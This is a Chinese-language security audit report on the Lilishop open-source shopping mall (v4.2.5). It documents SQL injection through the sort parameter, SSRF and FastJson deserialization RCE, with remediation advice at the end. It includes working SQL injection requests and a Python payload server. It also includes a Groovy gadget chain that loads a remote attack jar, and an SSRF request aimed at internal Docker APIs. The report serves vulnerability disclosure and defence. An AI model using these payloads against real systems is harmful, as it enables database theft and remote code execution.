Lilishop 开源商城系统代码审计
字数 1460 2025-08-06 08:35:09
Lilishop 开源商城系统代码审计报告
0x00 前言
Lilishop 是基于SpringBoot的全端开源电商商城系统,由北京宏业汇成科技有限公司开发。本报告详细分析了该系统v4.2.5版本中存在的安全漏洞,包括SQL注入、SSRF和FastJson反序列化等高风险漏洞。
0x01 环境搭建
系统要求
- 内存:≥32GB
- Java版本:1.8.0_381
- Nodejs版本:v14.21.3
安装步骤
-
拉取后端源码:
git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop.git -
拉取前端源码:
git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop-ui.git -
前端初始化:
npm install yarn yarn install yarn run dev -
解决安装问题:
yarn remove webpack yarn remove compression-webpack-plugin yarn add webpack@^4.36.0 yarn add compression-webpack-plugin@^6.0.5
0x02 高危漏洞分析
1. 分页插件导致SQL注入
漏洞位置
- 前台:获取APP版本接口
/buyer/other/appVersion/appVersion/ANDROID - 后台:计量单位接口
/manager/goods/goodsUnit
漏洞复现
前台示例:
GET /buyer/other/appVersion/appVersion/ANDROID?pageNumber=1&pageSize=5&type=ANNOUNCEMENT&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc HTTP/1.1
后台示例:
GET /manager/goods/goodsUnit?_t=1690460576&pageNumber=1&pageSize=10&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc&name= HTTP/1.1
布尔注入示例
1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=108,1,(select 1 union select 2))
漏洞分析
- 问题位于
PageUtil.initPage函数中,未对sort参数进行SQL语句过滤 - MybatisPlus在order by场景下没有安全措施
- 虽然Druid有拦截功能,但默认函数黑名单不完善
2. SSRF导致FastJson反序列化RCE
漏洞复现
步骤1:准备FastJson payload服务器
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
if self.path == '/getmsg':
response_data = '{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}'
self.wfile.write(response_data.encode())
def start_http_server(port=14533):
server_address = ('', port)
httpd = HTTPServer(server_address, MyHTTPRequestHandler)
httpd.serve_forever()
if __name__ == '__main__':
start_http_server()
步骤2:修改物流设置
- 登录运营后台
http://localhost:10003/sys/setting - 设置->系统设置->快递鸟设置
- 将reqURL修改为
http://127.0.0.1:14533/getmsg
步骤3:触发漏洞
- 查看已发货订单的物流信息
- 或打印电子面单时触发
利用FastJson 1.2.78 RCE
Groovy利用链:
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":["http://127.0.0.1:35260/attack-1.jar"]
},
"gcl":null,
"destDir":"/tmp"
}
漏洞分析
LogisticsServiceImpl.getOrderTracesByJson方法中:String result = sendPost(ReqURL, params); Map map = (Map) JSON.parse(result);- 未验证
ReqURL来源,导致SSRF - 未对FastJson反序列化内容进行过滤
3. 商家后台添加商品处SSRF
漏洞复现
- 登录卖家后台
http://localhost:10002/liveGoods - 营销->直播商品->添加商品
- 抓包修改
goodsImage参数
请求示例:
POST /store/broadcast/commodity HTTP/1.1
Host: localhost:8889
Content-Type: application/json
[
{
"goodsId": "1422073672823595010",
"goodsImage": "http://127.0.0.1:4567",
"name": "OPPO Reno6 5G",
"price": 4999,
"quantity": 95,
"price2": "",
"priceType": 1,
"skuId": "1422073673050087425",
"url": "pages/product/goods?id=1422073673050087425&goodsId=1422073672823595010"
}
]
后续利用
- 探测内网Docker 2375端口
- 利用Docker API的
/build功能实现RCE
漏洞分析
WechatMediaUtil.getUrl方法未验证图片URLCommodityServiceImpl.addCommodity方法直接使用外部URL
0x03 修复建议
-
SQL注入:
- 在
PageUtil.initPage中添加SQL过滤 - 使用预编译语句处理order by参数
- 在
-
FastJson反序列化:
- 升级FastJson至最新安全版本
- 使用
JSON.parseObject替代JSON.parse - 配置SafeMode或自定义反序列化过滤器
-
SSRF漏洞:
- 验证所有外部URL请求
- 限制请求协议为HTTPS
- 使用白名单方式限制域名
-
权限控制:
- 加强后台操作权限验证
- 关键配置修改需二次认证
0x04 总结
Lilishop系统存在多处高危漏洞,主要问题包括:
- 分页插件导致的SQL注入影响数十个接口
- SSRF结合FastJson反序列化可实现RCE
- 多处未验证的外部URL请求导致SSRF
审计SpringBoot系统时应重点关注:
- 分页排序参数处理
- 外部URL请求验证
- 反序列化操作安全
- 权限控制机制